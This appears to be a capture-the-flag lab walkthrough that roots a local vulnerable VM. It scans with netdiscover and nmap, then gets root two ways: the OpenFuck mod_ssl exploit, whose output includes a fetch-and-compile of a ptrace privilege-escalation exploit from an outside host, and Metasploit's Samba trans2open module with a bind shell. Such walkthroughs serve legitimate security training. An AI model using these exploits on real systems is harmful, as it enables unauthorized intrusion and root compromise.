

Reconnaissance

```
root@kali: ~
File Edit View Search Terminal Help
root@kali:~# netdiscover -i vboxnet0 -r 192.168.56.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 84

-----
IP                At MAC Address      Count  Len  MAC Vendor / Hostname
-----
192.168.56.2      08:00:27:44:0b:4e    1     42  PCS Systemtechnik GmbH
192.168.56.103    08:00:27:cf:05:28    1     42  PCS Systemtechnik GmbH
```

NMAP

```
root@kali:~# nmap -sV -sC -sT 192.168.56.103
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-18 08:07 CEST
Nmap scan report for 192.168.56.103
Host is up (0.00075s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_ ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|   1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ sshv1: Server supports SSHv1
80/tcp    open  http         Apache httpd/1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-methods:
|   Potentially risky methods: TRACE
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: 400 Bad Request
|_ ssl-date: 2019-10-18T10:09:14+00:00; +3h59m58s from scanner time.
|_ sslv2:
|   SSLv2 supported
|   ciphers:
|   SSL2_RC4_64_WITH_MD5
|   SSL2_RC4_128_WITH_MD5
|   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|   SSL2_RC4_128_EXPORT40_WITH_MD5
|   SSL2_RC2_128_CBC_WITH_MD5
|   SSL2_DES_192_EDE3_CBC_WITH_MD5
|   SSL2_DES_64_CBC_WITH_MD5
32768/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:CF:05:28 (Oracle VirtualBox virtual NIC)

Host script results:
|_ clock-skew: 3h59m57s
```

First Method

Mod_ssl exploits

```
root@kali:~# searchsploit mod_ssl

-----
Exploit Title                                                                 | Path
-----
Apache mod_ssl 2.0.x - Remote Denial of Service                            | exploits/linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                  | exploits/multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow        | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)   | exploits/unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)   | exploits/unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow | exploits/unix/remote/40347.txt
-----
```

Compile the exploit

```
root@kali:~# gcc -o 47080 47080.c -lcrypto
```

Excute the exploit

```
root@kali:~# ./47080

*****
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitrox #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****

: Usage: ./47080 target box [port] [-c N]

target - supported box eg: 0x00
box - hostname or IP address
port - port for ssl connection
-c open N connections. (use range 40-50 if u dont know)

Supported Offset:
0x00 - Caldera OpenLinux (apache-1.3.26)
0x01 - Cobalt Sun 6.0 (apache-1.3.12)
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x03 - Cobalt Sun x (apache-1.3.26)
0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
0x05 - Conectiva 4 (apache-1.3.6)
0x06 - Conectiva 4.1 (apache-1.3.9)
0x07 - Conectiva 6 (apache-1.3.14)
0x08 - Conectiva 7 (apache-1.3.12)
0x09 - Conectiva 7 (apache-1.3.19)
0x0a - Conectiva 7/8 (apache-1.3.26)
0x0b - Conectiva 8 (apache-1.3.22)
0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)
0x0d - Debian GNU Linux (apache_1.3.19-1)
0x0e - Debian GNU Linux (apache_1.3.22-2)
0x0f - Debian GNU Linux (apache-1.3.22-2.1)
0x10 - Debian GNU Linux (apache-1.3.22-5)
```

Find the OS of target

```
0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2
0x5b - Redhat Linux 7.x (apache-1.3.22)
0x5c - RedHat Linux 7.x (apache-1.3.26-1)
0x5d - RedHat Linux 7.x (apache-1.3.27)
0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1
0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2
0x60 - RedHat Linux 7.0 (apache-1.3.14-2)
0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)
0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)
0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)
0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1
0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2
0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)
0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)
0x68 - RedHat Linux 7.1 (apache-1.3.22-src)
0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
0x6d - RedHat Linux 7.2 (apache-1.3.24)
0x6e - RedHat Linux 7.2 (apache-1.3.26)
0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)
0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1
0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2
0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)
0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1
0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2
0x75 - RedHat Linux 7.3 (apache-1.3.27)
0x76 - RedHat Linux 8.0 (apache-1.3.27)
0x77 - RedHat Linux 8.0-second (apache-1.3.27)
0x78 - RedHat Linux 8.0 (apache-2.0.40)
0x79 - Slackware Linux 4.0 (apache-1.3.6)
0x7a - Slackware Linux 7.0 (apache-1.3.9)
0x7b - Slackware Linux 7.0 (apache-1.3.26)
0x7c - Slackware 7.0 (apache-1.3.26)2
0x7d - Slackware Linux 7.1 (apache-1.3.12)
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x7f - Slackware Linux 8.1 (apache-1.3.24)
```

Run the exploit

```
root@kali:~# ./47080 0x6b 192.168.56.103 443

*****
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitroX #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****

Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--06:20:49-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> 'ptrace-kmod.c.1'
Connecting to dl.packetstormsecurity.net:443...
dl.packetstormsecurity.net: Host not found.
gcc: file path prefix `/usr/bin' never used
[+] Attached to 6041
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

Second Method

Samba Version

```
Matching Modules
=====
# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/scanner/smb/smb_version normal Yes SMB Version Detection

msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description
----
RHOSTS The target address range or CIDR identifier yes
SMBDomain The Windows domain to use for authentication no
SMBPass The password for the specified username no
SMBUser The username to authenticate as no
THREADS The number of concurrent threads 1 yes

msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.56.103
rhosts => 192.168.56.103
msf5 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.56.103:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.56.103:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_version) >
```

The exploit of samba

```
msf5 auxiliary(scanner/smb/smb_version) > search samba 2.2.1a

Matching Modules
=====
#    Name                                          Disclosure Date   Rank    Check  Description
-    -
0    auxiliary/admin/smb/samba_symlink_traversal    normal           No      Samba Symlink Directory Traversal
1    auxiliary/dos/samba/lsa_addprivs_heap         normal           No      Samba lsa_io_privilege_set Heap Overflow
2    auxiliary/dos/samba/lsa_transnames_heap       normal           No      Samba lsa_io_trans_names Heap Overflow
3    auxiliary/dos/samba/read_nttrans_ea_list      normal           No      Samba read_nttrans_ea_list Integer Overflow
4    auxiliary/scanner/rsync/modules_list           normal           Yes     List Rsync Modules
5    auxiliary/scanner/smb/smb_uninit_cred          normal           Yes     Samba _netr_ServerPasswordSet Uninitialized Credential

State
#    Name                                          Disclosure Date   Rank    Check  Description
-    -
6    exploit/freebsd/samba/trans2open              2003-04-07       great   No      Samba trans2open Overflow (*BSD x86)
7    exploit/linux/samba/chain_reply               2010-06-16       good    No      Samba chain_reply Memory Corruption (Linux x86)
8    exploit/linux/samba/is_known_pipename         2017-03-24       excellent Yes     Samba is_known_pipename() Arbitrary Module Load
9    exploit/linux/samba/lsa_transnames_heap       2007-05-14       good    Yes     Samba lsa_io_trans_names Heap Overflow
10   exploit/linux/samba/setinfopolicy_heap         2012-04-10       normal  Yes     Samba SetInformationPolicy AuditEventsInfo Heap Overflow

#    Name                                          Disclosure Date   Rank    Check  Description
-    -
11   exploit/linux/samba/trans2open                2003-04-07       great   No      Samba trans2open Overflow (Linux x86)
12   exploit/multi/samba/nttrans                   2003-04-07       average No      Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
13   exploit/multi/samba/usermap_script            2007-05-14       excellent No      Samba "username map script" Command Execution
14   exploit/osx/samba/lsa_transnames_heap         2007-05-14       average No      Samba lsa_io_trans_names Heap Overflow
15   exploit/osx/samba/trans2open                 2003-04-07       great   No      Samba trans2open Overflow (Mac OS X PPC)
16   exploit/solaris/samba/lsa_transnames_heap     2007-05-14       average No      Samba lsa_io_trans_names Heap Overflow
17   exploit/solaris/samba/trans2open             2003-04-07       great   No      Samba trans2open Overflow (Solaris SPARC)
18   exploit/unix/http/quest_kace_systems_management_rce 2018-05-31       excellent Yes     Quest KACE Systems Management Command Injection
19   exploit/unix/misc/distcc_exec                2002-02-01       excellent Yes     DistCC Daemon Command Execution
20   exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21       excellent Yes     Citrix Access Gateway Command Execution
21   exploit/windows/fileformat/ms14_060_sandworm   2014-10-14       excellent No      MS14-060 Microsoft Windows OLE Package Manager Code Execution

#    Name                                          Disclosure Date   Rank    Check  Description
-    -
22   exploit/windows/http/sambar6_search_results    2003-06-21       normal  Yes     Sambar 6 Search Results Buffer Overflow
23   exploit/windows/license/calliclnt_getconfig   2005-03-02       average No      Computer Associates License Client GETCONFIG Overflow
24   exploit/windows/smb/group_policy_startup      2015-01-26       manual  No      Group Policy Script Execution From Shared Resource
25   post/linux/gather/enum_configs                normal           No      Linux Gather Configurations
```

Using Metasploit

```
msf5 auxiliary(scanner/smb/smb_version) > use exploit/linux/samba/trans2open
msf5 exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    yes             The target address range or CIDR identifier
  RPORT     139            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  -
  0    Samba 2.2.x - Bruteforce
```

```
msf5 exploit(linux/samba/trans2open) > set payload linux/x86/shell/bind_tcp
payload => linux/x86/shell/bind_tcp
msf5 exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.56.103  yes       The target address range or CIDR identifier
  RPORT     139            yes       The target port (TCP)

Payload options (linux/x86/shell/bind_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LPORT     4444            yes       The listen port
  RHOST     192.168.56.103  no        The target address

Exploit target:

  Id  Name
  --  -
  0    Samba 2.2.x - Bruteforce
```


Root is done

```
msf5 exploit(linux/samba/trans2open) > run
[*] Started bind TCP handler against 192.168.56.103:4444
[*] 192.168.56.103:139 - Trying return address 0xbffffdfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffcfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffbfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.56.103
[*] Command shell session 1 opened (192.168.56.1:33847 -> 192.168.56.103:4444) at 2019-10-18 08:37:51 +0200

id
uid=0(root) gid=0(root) groups=99(nobody)
```